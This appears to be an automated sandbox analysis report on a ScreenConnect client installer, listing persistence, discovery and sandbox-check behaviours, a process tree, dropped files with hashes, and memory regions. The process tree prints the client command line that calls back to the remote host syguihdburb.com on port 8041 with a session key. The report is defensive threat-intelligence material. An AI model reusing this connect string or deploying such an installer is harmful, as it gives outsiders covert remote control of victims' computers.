Analysis

  • max time kernel
    148s
  • max time network
    97s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 04:13

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 5.4MB
  • Sample261102-es7qqazyes
  • SHA256 a54177343112324614289bd62bbd73497d235f97bef0fbc2432c172a27970bac
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\60398921fd549859\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4180
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5360
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 45AED774B1968DDBE7BD1821199279EA C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5528
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5857.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240736546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4464
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3156
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5D308C410E271B37A45D0C53E48F19B9
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2184
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3C45FE60265EBD2D4E6EC66615142706 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:864
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4400
    • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=syguihdburb.com&p=8041&s=bfa02cd8-4043-4d4a-82e8-53569d6b5fce&k=BgIAAACkAABSU0ExAAgAAAEAAQDd13iLuBYd%2blgPavlbGQJ3RAXBQ%2f4FCofsmR2%2bN7TTfqY7JBZEudIoEU9OsS5UEM2M2i2D2pp9j3uyZAU%2fWBd1PMDR4UXFJf%2fl4Kzdd6iKqUK2bz%2fNKimyx5eF5ztq89AFt5pe6ASWPFHUfRmb%2fMN8GhYmdgMn50Qyo0cOfK1JrdLF7geqO4ntarYK%2fnF0chP%2fk9vs3Zy1XgBUVz%2ba1Zeh3W8VM6V%2fErqlnCDyuU62OS5lT6kBVex7d4toGQrIJIbGDiSGLrgPcWUuJjL3fTD%2fkYzeOWhWdqSPV85AJPWZj8ECZv8r03N6ave%2fnKAiHeuhwqbjowNQ3PDnWnKTlUbP"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6044
      • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe" "RunRole" "b4bd84e8-b65c-4ad3-bb8e-65247604f783" "User"
        2⤵
        • Executes dropped EXE
        PID:4832
      • C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe" "RunRole" "af73e502-b64c-4f65-86a2-4ff355880409" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3748
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:120

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e59a84d.rbs

            • Path C:\Config.Msi\e59a84d.rbs
            • Size 214KB
            • SHA256 047710e1ee97d98be010359385f9afacf22c0af4c07fdeedd1eea43fda211f13
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.Override.en-US.resources
            • Size 343B
            • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.Override.resources
            • Size 32KB
            • SHA256 bae2628f861455f9ae162ebb4599ea04c84f28326f687c489fb51017f5424dcd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.en-US.resources
            • Size 47KB
            • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\app.config
            • Size 2KB
            • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (60398921fd549859)\system.config
            • Size 947B
            • SHA256 21bfccf8310e6b13f4d75bc8c64da93a322d43e56b6714058e8e47d2e86d55e7
            • MD5 SHA1 SHA512 TLSH

            MSI5857.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5857.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5857.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5857.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5857.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5857.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\60398921fd549859\ScreenConnect.ClientSetup.msi
            • Size 12.9MB
            • SHA256 d12ae777cd027bc89bd337732aa861d94662caabbde28d470cd3871ac7feec64
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIB07B.tmp

            • Path C:\Windows\Installer\MSIB07B.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 ee4e3bb70debb2884750b00aec739bd8ccff4c23f8b41f09c410f15e685cb13b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {fecf2c62-a5f2-495b-aa1e-c5a479ecbda2}_OnDiskSnapshotProp

            • Path \??\Volume{0a1bed32-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{fecf2c62-a5f2-495b-aa1e-c5a479ecbda2}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 57fa6579bc2ca7ea7eede55885870758e4c0b378403da9b32ad9671746b7c7f6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2904-1-0x0000000003280000-0x0000000003288000-memory.dmp

            memory/2904-8-0x0000000006420000-0x00000000069DA000-memory.dmp

            memory/2904-0-0x0000000074502000-0x0000000074503000-memory.dmp

            memory/2904-7-0x00000000744F0000-0x0000000074CAC000-memory.dmp

            memory/2904-9-0x00000000744F0000-0x0000000074CAC000-memory.dmp

            memory/2904-6-0x0000000005900000-0x0000000005AAC000-memory.dmp

            memory/2904-10-0x00000000744F0000-0x0000000074CAC000-memory.dmp

            memory/2904-2-0x0000000005B70000-0x0000000005E62000-memory.dmp

            memory/2904-3-0x00000000744F0000-0x0000000074CAC000-memory.dmp

            memory/2904-5-0x0000000005810000-0x0000000005832000-memory.dmp

            memory/2904-4-0x0000000005870000-0x00000000058FE000-memory.dmp

            memory/2904-12-0x00000000744F0000-0x0000000074CAC000-memory.dmp

            memory/4464-36-0x00000000037C0000-0x00000000037CA000-memory.dmp

            memory/4464-44-0x0000000005B20000-0x0000000005CCC000-memory.dmp

            memory/4464-32-0x00000000057F0000-0x000000000581E000-memory.dmp

            memory/4464-40-0x00000000058B0000-0x000000000593E000-memory.dmp

            memory/4832-136-0x000000001B7D0000-0x000000001B958000-memory.dmp

            memory/4832-137-0x00000000023F0000-0x0000000002408000-memory.dmp

            memory/4832-135-0x000000001B490000-0x000000001B63C000-memory.dmp

            memory/4832-138-0x0000000002470000-0x0000000002488000-memory.dmp

            memory/4832-134-0x000000001B250000-0x000000001B2DE000-memory.dmp

            memory/4832-132-0x0000000000210000-0x00000000002A8000-memory.dmp

            memory/4832-133-0x0000000002430000-0x0000000002466000-memory.dmp

            memory/5360-140-0x000001E4A7360000-0x000001E4A7D04000-memory.dmp

            memory/6044-112-0x0000000004A20000-0x0000000004A70000-memory.dmp

            memory/6044-121-0x0000000004F40000-0x0000000005015000-memory.dmp

            memory/6044-119-0x0000000004AB0000-0x0000000004AF1000-memory.dmp

            memory/6044-117-0x0000000004D50000-0x0000000004DE2000-memory.dmp

            memory/6044-116-0x0000000004A70000-0x0000000004AA6000-memory.dmp

            memory/6044-90-0x00000000047B0000-0x00000000047C8000-memory.dmp